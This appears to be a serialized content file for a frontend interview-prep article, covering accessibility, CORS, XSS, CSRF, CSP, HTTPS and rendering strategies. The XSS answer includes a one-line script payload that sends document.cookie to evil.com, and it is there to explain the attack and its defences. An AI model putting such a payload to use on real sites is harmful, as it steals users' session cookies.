sites.",[23,8518,8520,8521,70,8523,229],{"id":8519},"_92-what-is-the-difference-between-aria-hidden-and-hidden","92. What is the difference between ",[34,8522,1043],{},[34,8524,8525],{},"hidden",[11,8527,8528],{},"Both hide things, but from different audiences.",[11,8530,8531,8533,8534,8537,8538,8540],{},[34,8532,8525],{}," is a regular HTML attribute. It removes the element from the visual rendering ",[1183,8535,8536],{},"and"," from the accessibility tree. It is roughly equivalent to ",[34,8539,1395],{},". Sighted users do not see it; screen reader users do not hear it.",[11,8542,8543,8546,8547,8550],{},[34,8544,8545],{},"aria-hidden=\"true\""," only removes the element from the accessibility tree. The element is still ",[1183,8548,8549],{},"visible"," on screen; it is just invisible to assistive technology. This is the right choice for purely decorative content, like an icon next to a label, where the screen reader would otherwise announce it twice or read out something meaningless.",[85,8552,8554],{"className":87,"code":8553,"language":89,"meta":90,"style":90},"\u003Cbutton>\n    \u003Csvg aria-hidden=\"true\">...\u003C/svg> Save\n\u003C/button>\n",[34,8555,8556,8564,8587],{"__ignoreMap":90},[94,8557,8558,8560,8562],{"class":96,"line":97},[94,8559,101],{"class":100},[94,8561,718],{"class":104},[94,8563,108],{"class":100},[94,8565,8566,8568,8571,8574,8576,8579,8582,8584],{"class":96,"line":111},[94,8567,114],{"class":100},[94,8569,8570],{"class":104},"svg",[94,8572,8573],{"class":146}," aria-hidden",[94,8575,150],{"class":100},[94,8577,8578],{"class":153},"\"true\"",[94,8580,8581],{"class":100},">...\u003C/",[94,8583,8570],{"class":104},[94,8585,8586],{"class":100},"> Save\n",[94,8588,8589,8591,8593],{"class":96,"line":122},[94,8590,206],{"class":100},[94,8592,718],{"class":104},[94,8594,108],{"class":100},[11,8596,8597,8598,8600],{},"The screen reader hears just \"Save,\" which is correct. Without ",[34,8599,1043],{},", it might say \"image, Save,\" which is noise.",[23,8602,8604],{"id":8603},"_93-what-is-cors","93. What is CORS?",[11,8606,8607,8608,8611,8612,8615],{},"CORS (Cross Origin Resource Sharing) is a browser security feature that controls when a web page can read responses from a different origin. An origin is the combination of protocol, domain, and port: ",[34,8609,8610],{},"https://app.example.com:443"," is one origin, ",[34,8613,8614],{},"https://api.example.com:443"," is a different one.",[11,8617,8618,8619,8622,8623,8625,8626,8628,8629,8632,8633,8636,8637,8640],{},"By default, the browser lets your code ",[1183,8620,8621],{},"send"," a request to another origin (you can ",[34,8624,4700],{}," it), but it does ",[1183,8627,3231],{}," let your JavaScript ",[1183,8630,8631],{},"read"," the response unless the server explicitly allows it. The server opts in by sending an ",[34,8634,8635],{},"Access-Control-Allow-Origin"," header in the response. For some \"non simple\" requests (those with custom headers, or methods like PUT and DELETE), the browser first sends an ",[34,8638,8639],{},"OPTIONS"," \"preflight\" request to check if the actual request is allowed.",[11,8642,8643],{},[426,8644],{"alt":8645,"src":8646},"CORS preflight diagram","/post-images/top-100-frontend-interview-questions/cors-preflight-diagram.png",[11,8648,8649,8650,8653,8654,8657],{},"A common point of confusion: CORS is enforced by the ",[1183,8651,8652],{},"browser",", not the server. Tools like ",[34,8655,8656],{},"curl"," or Postman ignore it, which is why a request that \"works in Postman\" might still fail in the browser.",[23,8659,8661],{"id":8660},"_94-what-is-xss-cross-site-scripting","94. What is XSS (Cross Site Scripting)?",[11,8663,8664],{},"XSS is an attack where an attacker injects malicious JavaScript into a trusted page, and that script then runs in the browsers of other users who visit the page. Once it runs, the attacker's code can read cookies, steal session tokens, log keystrokes, or perform actions as the victim.",[11,8666,8667,8668,8671],{},"The classic example: a comment form lets users post HTML without escaping. An attacker posts ",[34,8669,8670],{},"\u003Cscript>fetch('//evil.com?c=' + document.cookie)\u003C/script>",", and now every other reader's session cookie is being shipped to the attacker.",[11,8673,8674,8675,8678,8679,346,8681,346,8684,346,8687,463,8689,8692,8693,8696,8697,8700,8701,8704],{},"The fix is layered. The most important defence is to ",[1183,8676,8677],{},"escape user input on output",": when you render user provided text into HTML, encode ",[34,8680,101],{},[34,8682,8683],{},">",[34,8685,8686],{},"&",[34,8688,895],{},[34,8690,8691],{},"'",". Modern frameworks do this automatically. On top of that, set a strong ",[1183,8694,8695],{},"Content Security Policy"," so even if an injection slips through, scripts cannot load from arbitrary domains. And avoid ",[34,8698,8699],{},"innerHTML"," with user data; use ",[34,8702,8703],{},"textContent"," whenever possible.",[23,8706,8708],{"id":8707},"_95-what-is-csrf-cross-site-request-forgery","95. What is CSRF (Cross Site Request Forgery)?",[11,8710,8711],{},"CSRF is an attack where an attacker tricks a logged in user's browser into making a request to your site that the user did not intend. The trick exploits the fact that cookies are sent automatically on every request to their domain, including requests triggered by other websites.",[11,8713,8714,8715,8718,8719,8722,8723,8726,8727,8729],{},"For example, the user is logged into ",[34,8716,8717],{},"bank.com",". They visit ",[34,8720,8721],{},"evil.com",", which silently submits a form to ",[34,8724,8725],{},"bank.com/transfer",". The browser dutifully attaches the user's ",[34,8728,8717],{}," cookies to that request, and the bank thinks the user just initiated a transfer.",[11,8731,8732],{},"The defences:",[483,8734,8735,8741,8757],{},[486,8736,8737,8740],{},[1183,8738,8739],{},"CSRF tokens",": include a random, server known token in every form. The token is not sent automatically by the browser, so a third party site cannot guess it.",[486,8742,8743,8749,8750,216,8753,8756],{},[1183,8744,8745,8748],{},[34,8746,8747],{},"SameSite"," cookie attribute",": setting cookies as ",[34,8751,8752],{},"SameSite=Lax",[34,8754,8755],{},"SameSite=Strict"," tells the browser not to send them on cross site requests. This is now the default in modern browsers and is the single biggest win.",[486,8758,8759,8762],{},[1183,8760,8761],{},"Custom headers"," for state changing requests, since cross origin requests with custom headers trigger a CORS preflight.",[23,8764,8766],{"id":8765},"_96-what-is-the-content-security-policy-csp","96. What is the Content Security Policy (CSP)?",[11,8768,8769,8770,8772],{},"CSP is an HTTP header (or ",[34,8771,985],{}," tag) that tells the browser what content sources are allowed on your page. You can restrict where scripts may come from, where styles may come from, where images may load, what may be embedded in iframes, and so on.",[85,8774,8779],{"className":8775,"code":8777,"language":8778},[8776],"language-text","Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com\n","text",[34,8780,8777],{"__ignoreMap":90},[11,8782,8783],{},"The example above says: by default, only allow same origin content, and only run scripts from your own origin or that one CDN.",[11,8785,8786],{},"CSP's superpower is that even if an attacker manages to inject JavaScript into your page (an XSS bug), the browser will refuse to actually run it if the source is not in the allowlist. So a strong CSP is a powerful second line of defence against XSS, and modern security advice strongly recommends it for any production site.",[23,8788,8790],{"id":8789},"_97-what-is-the-difference-between-http-and-https","97. What is the difference between HTTP and HTTPS?",[11,8792,8793],{},"HTTP is the plain text protocol the web has used since the beginning. Anyone between the user and the server (the coffee shop wifi, an ISP, an attacker on the network) can read every request and response, and they can also tamper with them. Login forms, cookies, and personal data sent over HTTP are essentially out in the open.",[11,8795,8796],{},"HTTPS is HTTP wrapped in TLS encryption. It gives you three guarantees:",[483,8798,8799,8805,8811],{},[486,8800,8801,8804],{},[1183,8802,8803],{},"Confidentiality",": nobody on the network can read the traffic.",[486,8806,8807,8810],{},[1183,8808,8809],{},"Integrity",": nobody on the network can modify the traffic without detection.",[486,8812,8813,8816],{},[1183,8814,8815],{},"Authenticity",": through certificates, the browser verifies that you really are connected to who you think you are connected to.",[11,8818,8819],{},"Modern browsers mark HTTP sites as \"Not Secure,\" and a long list of features (service workers, geolocation, clipboard API, push notifications, HTTP/2, HTTP/3) only work over HTTPS. With Let's Encrypt offering free certificates, there is essentially no reason to run a site over plain HTTP today.",[23,8821,8823],{"id":8822},"_98-what-are-progressive-enhancement-and-graceful-degradation","98. What are progressive enhancement and graceful degradation?",[11,8825,8826],{},"These are two philosophies for handling browsers and devices with different capabilities.",[11,8828,8829,8832,8833,8836],{},[1183,8830,8831],{},"Progressive enhancement"," starts with a baseline that works ",[1183,8834,8835],{},"everywhere",": plain HTML, basic forms, regular links. Then it adds richer behaviour for browsers that support it: CSS animations, JavaScript interactivity, modern APIs. If the JavaScript fails to load, the page still works in a basic form.",[11,8838,8839,8842],{},[1183,8840,8841],{},"Graceful degradation"," goes the other way. It builds the full featured, modern experience first, then patches in fallbacks for older browsers. If the modern features are missing, the experience is not great but it is still usable.",[11,8844,8845],{},"In modern frontend development, progressive enhancement is generally preferred because it produces apps that are more resilient. A page built progressively still loads on a slow phone with a flaky connection; a page built degradedly often shows a white screen if any of its bundles fail.",[23,8847,8849],{"id":8848},"_99-what-is-the-difference-between-ssr-csr-ssg-and-isr","99. What is the difference between SSR, CSR, SSG, and ISR?",[11,8851,8852],{},"These are four common patterns for rendering web pages.",[483,8854,8855,8861,8867,8873],{},[486,8856,8857,8860],{},[1183,8858,8859],{},"CSR (Client Side Rendering)",": the server sends a nearly empty HTML shell, and JavaScript builds the page in the browser. Fast iteration, but slow first paint and bad for SEO without extra work.",[486,8862,8863,8866],{},[1183,8864,8865],{},"SSR (Server Side Rendering)",": the server runs the same code per request and ships fully rendered HTML. Fast first paint and good SEO, but the server has to do work on every request.",[486,8868,8869,8872],{},[1183,8870,8871],{},"SSG (Static Site Generation)",": pages are rendered to plain HTML files at build time and served from a CDN. Fastest possible, perfect for content that does not change often (blogs, marketing sites).",[486,8874,8875,8878],{},[1183,8876,8877],{},"ISR (Incremental Static Regeneration)",": a hybrid where pages start as static, but the server quietly re renders them in the background after a configured interval. You get static speed with eventually fresh content.",[11,8880,8881],{},"The decision is usually about how fresh the content needs to be vs how much load you want on your server. Marketing pages: SSG. A dashboard: CSR or SSR. A blog or e commerce catalogue: ISR.",[23,8883,8885],{"id":8884},"_100-how-does-the-browser-load-a-web-page-from-url-to-render","100. How does the browser load a web page from URL to render?",[11,8887,8888],{},"This is the big \"tie everything together\" question, because answering it touches networking, parsing, CSS, JavaScript, and rendering. A clean version of the story:",[1940,8890,8891,8906,8912,8918,8924,8934,8940,8946,8951],{},[486,8892,8893,8896,8897,8900,8901,8905],{},[1183,8894,8895],{},"DNS lookup",": the browser converts the domain name (",[34,8898,8899],{},"example.com",") into an IP address. (For the full story, see ",[3607,8902,8904],{"href":8903},"/post/dns-explained-how-domain-name-system-works","DNS Explained: What Actually Happens Before Your Browser Loads a Page",".)",[486,8907,8908,8911],{},[1183,8909,8910],{},"TCP / TLS handshake",": the browser opens a connection and, for HTTPS, negotiates encryption.",[486,8913,8914,8917],{},[1183,8915,8916],{},"HTTP request",": the browser sends a request for the page.",[486,8919,8920,8923],{},[1183,8921,8922],{},"Server response",": the server streams back the HTML.",[486,8925,8926,8929,8930,4368,8932,360],{},[1183,8927,8928],{},"HTML parsing",": as bytes arrive, the browser builds the DOM. When it hits a CSS link, it requests the CSS in parallel; when it hits a script tag, it may pause depending on ",[34,8931,477],{},[34,8933,480],{},[486,8935,8936,8939],{},[1183,8937,8938],{},"CSSOM construction",": CSS is parsed into the CSSOM.",[486,8941,8942,8945],{},[1183,8943,8944],{},"Render tree",": DOM and CSSOM are combined, dropping anything not visible.",[486,8947,8948,8950],{},[1183,8949,7809],{},": every visible element gets a position and size.",[486,8952,8953,8956],{},[1183,8954,8955],{},"Paint and composite",": the browser draws pixels into layers and combines those layers into the final image you see.",[11,8958,8959],{},"If you can walk an interviewer through these steps with one or two sentences each, you will demonstrate that you understand how the web really works, not just one library. That is a much stronger signal than knowing any single framework.",[18,8961,8963],{"id":8962},"final-thoughts","Final Thoughts",[11,8965,8966],{},"These 100 questions cover the bulk of what interviewers actually ask, but the goal is not to memorise answers word for word. The goal is to build a mental model of how the browser works that lets you reason about any new question on the spot.",[11,8968,8969,8970,8972,8973,8975,8976,8978],{},"When you study, focus on the why behind each answer. Why was ",[34,8971,2700],{}," added when ",[34,8974,2085],{}," already existed? Why does ",[34,8977,2427],{}," animate so smoothly? Why does CSP make XSS harder? Once you understand the why, the what answers itself, and you stop sounding like someone reading from a cheat sheet and start sounding like someone who actually understands the platform.",[11,8980,8981],{},"Good luck with your interviews.",[8983,8984,8985],"style",{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":90,"searchDepth":111,"depth":111,"links":8987},[8988,9015,9046,9091,9114,9127,9140],{"id":20,"depth":111,"text":21,"children":8989},[8990,8991,8992,8994,8996,8998,9000,9002,9004,9005,9007,9009,9010,9012,9013],{"id":25,"depth":122,"text":26},{"id":43,"depth":122,"text":44},{"id":223,"depth":122,"text":8993},"3. What is the difference between \u003Cdiv> and \u003Cspan>?",{"id":363,"depth":122,"text":8995},"4. What is the difference between id and class?",{"id":404,"depth":122,"text":8997},"5. What is the purpose of the alt attribute on images?",{"id":455,"depth":122,"text":8999},"6. What is the difference between \u003Cscript>, \u003Cscript async>, and \u003Cscript defer>?",{"id":575,"depth":122,"text":9001},"7. What is the difference between \u003Clink rel=\"preload\"> and \u003Clink rel=\"prefetch\">?",{"id":674,"depth":122,"text":9003},"8. What does the \u003C!DOCTYPE html> declaration do?",{"id":694,"depth":122,"text":695},{"id":844,"depth":122,"text":9006},"10. What is the difference between \u003Cbutton type=\"button\"> and \u003Cbutton type=\"submit\">?",{"id":938,"depth":122,"text":9008},"11. What is the difference between \u003Csection> and \u003Carticle>?",{"id":966,"depth":122,"text":967},{"id":1002,"depth":122,"text":9011},"13. What is the difference between \u003Cinput type=\"text\"> and \u003Cinput type=\"search\">?",{"id":1032,"depth":122,"text":1033},{"id":1119,"depth":122,"text":9014},"15. What is the meaning of the \u003Cmeta viewport> tag?",{"id":1173,"depth":111,"text":1174,"children":9016},[9017,9018,9020,9022,9024,9025,9027,9028,9029,9030,9032,9033,9034,9035,9037,9038,9039,9041,9043,9044],{"id":1177,"depth":122,"text":1178},{"id":1230,"depth":122,"text":9019},"17. What is the difference between box-sizing: content-box and border-box?",{"id":1313,"depth":122,"text":9021},"18. What is the difference between position: relative, absolute, fixed, and sticky?",{"id":1391,"depth":122,"text":9023},"19. What is the difference between display: none, visibility: hidden, and opacity: 0?",{"id":1474,"depth":122,"text":1475},{"id":1508,"depth":122,"text":9026},"21. What is the difference between em, rem, px, %, vh, and vw?",{"id":1607,"depth":122,"text":1608},{"id":1623,"depth":122,"text":1624},{"id":1741,"depth":122,"text":1742},{"id":1797,"depth":122,"text":9031},"25. What is the difference between ::before and ::after?",{"id":1931,"depth":122,"text":1932},{"id":1971,"depth":122,"text":1972},{"id":2015,"depth":122,"text":2016},{"id":2137,"depth":122,"text":9036},"29. What is the difference between min-width, max-width, and width?",{"id":2211,"depth":122,"text":2212},{"id":2311,"depth":122,"text":2312},{"id":2338,"depth":122,"text":9040},"32. What is z-index and how does it work?",{"id":2393,"depth":122,"text":9042},"33. What is the difference between transform: translate() and changing top/left?",{"id":2443,"depth":122,"text":2444},{"id":2612,"depth":122,"text":9045},"35. What is the difference between inline, inline-block, and block?",{"id":2690,"depth":111,"text":2691,"children":9047},[9048,9050,9051,9052,9054,9055,9057,9058,9059,9060,9062,9064,9065,9066,9067,9068,9070,9071,9073,9075,9077,9078,9079,9080,9081,9083,9085,9087,9088,9089],{"id":2694,"depth":122,"text":9049},"36. What is the difference between var, let, and const?",{"id":2805,"depth":122,"text":2806},{"id":2948,"depth":122,"text":2949},{"id":3011,"depth":122,"text":9053},"39. What is the difference between == and ===?",{"id":3126,"depth":122,"text":3127},{"id":3239,"depth":122,"text":9056},"41. What is null vs undefined?",{"id":3334,"depth":122,"text":3335},{"id":3478,"depth":122,"text":3479},{"id":3584,"depth":122,"text":3585},{"id":3726,"depth":122,"text":9061},"45. What is this in JavaScript?",{"id":3950,"depth":122,"text":9063},"46. What is the difference between call, apply, and bind?",{"id":4166,"depth":122,"text":4167},{"id":4269,"depth":122,"text":4270},{"id":4293,"depth":122,"text":4294},{"id":4354,"depth":122,"text":4355},{"id":4502,"depth":122,"text":9069},"51. What is the difference between setTimeout, setInterval, and requestAnimationFrame?",{"id":4555,"depth":122,"text":4556},{"id":4717,"depth":122,"text":9072},"53. What is async / await?",{"id":4872,"depth":122,"text":9074},"54. What is the difference between Promise.all, Promise.allSettled, Promise.race, and Promise.any?",{"id":4993,"depth":122,"text":9076},"55. What is the difference between forEach, map, filter, and reduce?",{"id":5212,"depth":122,"text":5213},{"id":5364,"depth":122,"text":5365},{"id":5594,"depth":122,"text":5595},{"id":5856,"depth":122,"text":5857},{"id":5952,"depth":122,"text":9082},"60. What is the difference between for...in and for...of?",{"id":6094,"depth":122,"text":9084},"61. What are Map and Set?",{"id":6268,"depth":122,"text":9086},"62. What is the difference between Object and Map?",{"id":6380,"depth":122,"text":6381},{"id":6602,"depth":122,"text":6603},{"id":6840,"depth":122,"text":9090},"65. What is the difference between JSON.stringify and JSON.parse?",{"id":6951,"depth":111,"text":6952,"children":9092},[9093,9094,9095,9097,9098,9099,9101,9103,9105,9106,9107,9108,9109,9111,9112],{"id":6955,"depth":122,"text":6956},{"id":6969,"depth":122,"text":6970},{"id":7015,"depth":122,"text":9096},"68. What is the difference between document.getElementById, querySelector, and querySelectorAll?",{"id":7168,"depth":122,"text":7169},{"id":7217,"depth":122,"text":7218},{"id":7331,"depth":122,"text":9100},"71. What is the difference between event.preventDefault() and event.stopPropagation()?",{"id":7468,"depth":122,"text":9102},"72. What is the difference between addEventListener and onclick?",{"id":7625,"depth":122,"text":9104},"73. What is the difference between localStorage, sessionStorage, and cookies?",{"id":7747,"depth":122,"text":7748},{"id":7767,"depth":122,"text":7768},{"id":7828,"depth":122,"text":7829},{"id":7859,"depth":122,"text":7860},{"id":7873,"depth":122,"text":9110},"78. What is the difference between \u003Ciframe> postMessage and shared workers?",{"id":7919,"depth":122,"text":7920},{"id":8046,"depth":122,"text":9113},"80. What is the difference between Window, Document, and Navigator?",{"id":8118,"depth":111,"text":8119,"children":9115},[9116,9117,9118,9119,9120,9121,9122,9123,9124,9126],{"id":8122,"depth":122,"text":8123},{"id":8216,"depth":122,"text":8217},{"id":8232,"depth":122,"text":8233},{"id":8264,"depth":122,"text":8265},{"id":8294,"depth":122,"text":8295},{"id":8324,"depth":122,"text":8325},{"id":8354,"depth":122,"text":8355},{"id":8386,"depth":122,"text":8387},{"id":8399,"depth":122,"text":9125},"89. What is the difference between defer, async, and module preload for performance?",{"id":8432,"depth":122,"text":8433},{"id":8502,"depth":111,"text":8503,"children":9128},[9129,9130,9132,9133,9134,9135,9136,9137,9138,9139],{"id":8506,"depth":122,"text":8507},{"id":8519,"depth":122,"text":9131},"92. What is the difference between aria-hidden and hidden?",{"id":8603,"depth":122,"text":8604},{"id":8660,"depth":122,"text":8661},{"id":8707,"depth":122,"text":8708},{"id":8765,"depth":122,"text":8766},{"id":8789,"depth":122,"text":8790},{"id":8822,"depth":122,"text":8823},{"id":8848,"depth":122,"text":8849},{"id":8884,"depth":122,"text":8885},{"id":8962,"depth":111,"text":8963},"2026-04-30","It's a complete, framework agnostic list of the top 100 frontend interview questions covering HTML, CSS, JavaScript, DOM, browsers, performance, accessibility, and security, with simple answers, diagrams and practical examples.",false,"md",null,"top-100-frontend-interview-questions.png",{},"/frontend/top-100-frontend-interview-questions",{"title":5,"description":9142},"Frontend/1.top-100-frontend-interview-questions",[9152,9153,9154,9155,9156,9157],"Frontend","Interview Questions","HTML","CSS","JavaScript","Web Development","OKWTlD5N8mp5fkXy1_iD4mqAd4oDIcTrQZ6alf7blzg",[9160,16016,18406,25550,26887],{"id":4,"title":5,"author":6,"body":9161,"date":9141,"description":9142,"draft":9143,"extension":9144,"guide":9145,"image":9146,"meta":16013,"navigation":288,"path":9148,"seo":16014,"stem":9150,"tags":16015,"__hash__":9158},{"type":8,"value":9162,"toc":15898},[9163,9165,9167,9169,9171,9173,9177,9179,9181,9191,9203,9293,9299,9305,9311,9317,9397,9411,9417,9423,9427,9435,9439,9443,9467,9471,9479,9483,9489,9499,9549,9555,9561,9563,9567,9571,9629,9631,9635,9637,9643,9645,9651,9679,9735,9745,9747,9753,9761,9763,9813,9817,9823,9829,9831,9837,9839,9853,9859,9865,9869,9871,9877,9879,9889,9931,9937,9939,9943,9967,9969,9975,9977,9979,9981,9991,9995,10007,10013,10021,10027,10063,10065,10075,10079,10111,10117,10125,10127,10179,10187,10189,10191,10203,10207,10221,10223,10265,10273,10275,10277,10281,10283,10285,10287,10373,10379,10381,10383,10395,10407,10413,10419,10425,10429,10523,10525,10527,10529,10531,10549,10551,10553,10555,10577,10579,10581,10585,10663,10675,10683,10691,10693,10733,10735,10737,10739,10807,10815,10817,10819,10829,10831,10835,10839,10853,10865,10871,10873,10881,10887,10895,10897,10899,10905,10957,10963,11025,11027,11035,11039,11081,11087,11089,11097,11099,11163,11171,11179,11181,11183,11185,11209,11285,11291,11293,11301,11333,11339,11345,11353,11417,11427,11429,11443,11461,11493,11503,11509,11511,11519,11529,11565,11573,11575,11577,11669,11679,11683,11685,11687,11693,11703,11763,11767,11769,11771,11841,11843,11867,11873,11877,11885,11887,11941,12031,12041,12049,12053,12081,12201,12215,12217,12223,12227,12291,12295,12297,12301,12307,12309,12311,12313,12315,12335,12339,12341,12347,12349,12351,12367,12377,12461,12463,12471,12473,12497,12501,12503,12505,12513,12609,12623,12627,12633,12721,12723,12739,12745,12755,12757,12827,12837,12847,12849,12867,13017,13019,13021,13027,13031,13123,13137,13139,13141,13331,13333,13335,13339,13345,13451,13457,13549,13557,13559,13563,13625,13631,13637,13639,13645,13651,13739,13745,13751,13767,13771,13877,13879,13885,13887,13959,13963,13965,13967,14085,14089,14155,14157,14159,14161,14167,14171,14351,14353,14359,14361,14367,14371,14429,14437,14439,14441,14443,14447,14449,14453,14467,14475,14483,14485,14509,14589,14597,14599,14601,14619,14623,14629,14631,14635,14713,14719,14725,14727,14733,14739,14821,14827,14833,14839,14851,14955,14961,14967,14969,15037,15041,15053,15055,15059,15065,15067,15069,15073,15075,15103,15105,15107,15109,15113,15117,15125,15127,15129,15133,15139,15141,15149,15153,15161,15163,15167,15171,15267,15269,15277,15279,15311,15319,15321,15323,15325,15327,15393,15397,15399,15401,15405,15407,15409,15411,15423,15425,15427,15429,15443,15445,15447,15449,15463,15465,15467,15469,15483,15485,15487,15489,15493,15499,15503,15505,15507,15509,15511,15513,15519,15521,15535,15537,15539,15541,15581,15583,15585,15587,15589,15591,15593,15599,15601,15609,15615,15653,15657,15659,15665,15679,15683,15689,15691,15693,15697,15717,15719,15721,15731,15733,15753,15755,15759,15764,15766,15768,15770,15772,15774,15788,15790,15792,15794,15800,15804,15806,15808,15810,15828,15830,15832,15834,15880,15882,15884,15886,15894,15896],[11,9164,13],{},[11,9166,16],{},[18,9168,21],{"id":20},[23,9170,26],{"id":25},[11,9172,29],{},[11,9174,32,9175,37],{},[34,9176,36],{},[11,9178,40],{},[23,9180,44],{"id":43},[11,9182,47,9183,51,9185,55,9187,59,9189,63],{},[34,9184,50],{},[34,9186,54],{},[34,9188,58],{},[34,9190,62],{},[11,9192,66,9193,70,9195,73,9197,76,9199,79,9201,83],{},[34,9194,69],{},[34,9196,54],{},[34,9198,54],{},[34,9200,58],{},[34,9202,82],{},[85,9204,9205],{"className":87,"code":88,"language":89,"meta":90,"style":90},[34,9206,9207,9215,9223,9235,9253,9261,9273,9285],{"__ignoreMap":90},[94,9208,9209,9211,9213],{"class":96,"line":97},[94,9210,101],{"class":100},[94,9212,105],{"class":104},[94,9214,108],{"class":100},[94,9216,9217,9219,9221],{"class":96,"line":111},[94,9218,114],{"class":100},[94,9220,117],{"class":104},[94,9222,108],{"class":100},[94,9224,9225,9227,9229,9231,9233],{"class":96,"line":122},[94,9226,125],{"class":100},[94,9228,128],{"class":104},[94,9230,131],{"class":100},[94,9232,128],{"class":104},[94,9234,108],{"class":100},[94,9236,9237,9239,9241,9243,9245,9247,9249,9251],{"class":96,"line":138},[94,9238,125],{"class":100},[94,9240,143],{"class":104},[94,9242,147],{"class":146},[94,9244,150],{"class":100},[94,9246,154],{"class":153},[94,9248,157],{"class":100},[94,9250,143],{"class":104},[94,9252,108],{"class":100},[94,9254,9255,9257,9259],{"class":96,"line":164},[94,9256,167],{"class":100},[94,9258,117],{"class":104},[94,9260,108],{"class":100},[94,9262,9263,9265,9267,9269,9271],{"class":96,"line":174},[94,9264,114],{"class":100},[94,9266,11],{"class":104},[94,9268,181],{"class":100},[94,9270,11],{"class":104},[94,9272,108],{"class":100},[94,9274,9275,9277,9279,9281,9283],{"class":96,"line":188},[94,9276,114],{"class":100},[94,9278,193],{"class":104},[94,9280,196],{"class":100},[94,9282,193],{"class":104},[94,9284,108],{"class":100},[94,9286,9287,9289,9291],{"class":96,"line":203},[94,9288,206],{"class":100},[94,9290,105],{"class":104},[94,9292,108],{"class":100},[11,9294,213,9295,216,9297,220],{},[34,9296,62],{},[34,9298,219],{},[23,9300,224,9301,70,9303,229],{"id":223},[34,9302,62],{},[34,9304,219],{},[11,9306,232,9307,235,9309,238],{},[34,9308,62],{},[34,9310,219],{},[11,9312,241,9313,244,9315,247],{},[34,9314,62],{},[34,9316,219],{},[85,9318,9319],{"className":87,"code":250,"language":89,"meta":90,"style":90},[34,9320,9321,9347,9351,9365,9377,9389],{"__ignoreMap":90},[94,9322,9323,9325,9327,9329,9331,9333,9335,9337,9339,9341,9343,9345],{"class":96,"line":97},[94,9324,101],{"class":100},[94,9326,11],{"class":104},[94,9328,261],{"class":100},[94,9330,94],{"class":104},[94,9332,266],{"class":146},[94,9334,150],{"class":100},[94,9336,271],{"class":153},[94,9338,274],{"class":100},[94,9340,94],{"class":104},[94,9342,279],{"class":100},[94,9344,11],{"class":104},[94,9346,108],{"class":100},[94,9348,9349],{"class":96,"line":111},[94,9350,289],{"emptyLinePlaceholder":288},[94,9352,9353,9355,9357,9359,9361,9363],{"class":96,"line":122},[94,9354,101],{"class":100},[94,9356,296],{"class":104},[94,9358,266],{"class":146},[94,9360,150],{"class":100},[94,9362,303],{"class":153},[94,9364,108],{"class":100},[94,9366,9367,9369,9371,9373,9375],{"class":96,"line":138},[94,9368,114],{"class":100},[94,9370,18],{"class":104},[94,9372,314],{"class":100},[94,9374,18],{"class":104},[94,9376,108],{"class":100},[94,9378,9379,9381,9383,9385,9387],{"class":96,"line":164},[94,9380,114],{"class":100},[94,9382,11],{"class":104},[94,9384,327],{"class":100},[94,9386,11],{"class":104},[94,9388,108],{"class":100},[94,9390,9391,9393,9395],{"class":96,"line":174},[94,9392,206],{"class":100},[94,9394,296],{"class":104},[94,9396,108],{"class":100},[11,9398,342,9399,346,9401,346,9403,346,9405,355,9407,216,9409,360],{},[34,9400,345],{},[34,9402,58],{},[34,9404,351],{},[34,9406,354],{},[34,9408,62],{},[34,9410,219],{},[23,9412,364,9413,70,9415,229],{"id":363},[34,9414,367],{},[34,9416,370],{},[11,9418,373,9419,376,9421,379],{},[34,9420,367],{},[34,9422,370],{},[11,9424,382,9425,386],{},[34,9426,385],{},[11,9428,389,9429,393,9431,397,9433,401],{},[34,9430,392],{},[34,9432,396],{},[34,9434,400],{},[23,9436,405,9437,409],{"id":404},[34,9438,408],{},[11,9440,9441,414],{},[34,9442,408],{},[85,9444,9445],{"className":87,"code":417,"language":89,"meta":90,"style":90},[34,9446,9447],{"__ignoreMap":90},[94,9448,9449,9451,9453,9455,9457,9459,9461,9463,9465],{"class":96,"line":97},[94,9450,101],{"class":100},[94,9452,426],{"class":104},[94,9454,429],{"class":146},[94,9456,150],{"class":100},[94,9458,434],{"class":153},[94,9460,437],{"class":146},[94,9462,150],{"class":100},[94,9464,442],{"class":153},[94,9466,445],{"class":100},[11,9468,448,9469,452],{},[34,9470,451],{},[23,9472,456,9473,346,9475,463,9477,229],{"id":455},[34,9474,459],{},[34,9476,462],{},[34,9478,466],{},[11,9480,469,9481,472],{},[34,9482,459],{},[11,9484,9485,70,9487,481],{},[34,9486,477],{},[34,9488,480],{},[483,9490,9491,9495],{},[486,9492,9493,490],{},[34,9494,477],{},[486,9496,9497,495],{},[34,9498,480],{},[497,9500,9501,9513],{},[500,9502,9503],{},[503,9504,9505,9507,9509,9511],{},[506,9506,508],{},[506,9508,511],{},[506,9510,514],{},[506,9512,517],{},[519,9514,9515,9525,9537],{},[503,9516,9517,9519,9521,9523],{},[524,9518,526],{},[524,9520,529],{},[524,9522,532],{},[524,9524,535],{},[503,9526,9527,9531,9533,9535],{},[524,9528,9529],{},[34,9530,477],{},[524,9532,544],{},[524,9534,547],{},[524,9536,550],{},[503,9538,9539,9543,9545,9547],{},[524,9540,9541],{},[34,9542,480],{},[524,9544,544],{},[524,9546,561],{},[524,9548,535],{},[11,9550,566,9551,569,9553,572],{},[34,9552,480],{},[34,9554,477],{},[23,9556,576,9557,70,9559,229],{"id":575},[34,9558,579],{},[34,9560,582],{},[11,9562,585],{},[11,9564,9565,591],{},[34,9566,590],{},[11,9568,9569,597],{},[34,9570,596],{},[85,9572,9573],{"className":87,"code":600,"language":89,"meta":90,"style":90},[34,9574,9575,9609],{"__ignoreMap":90},[94,9576,9577,9579,9581,9583,9585,9587,9589,9591,9593,9595,9597,9599,9601,9603,96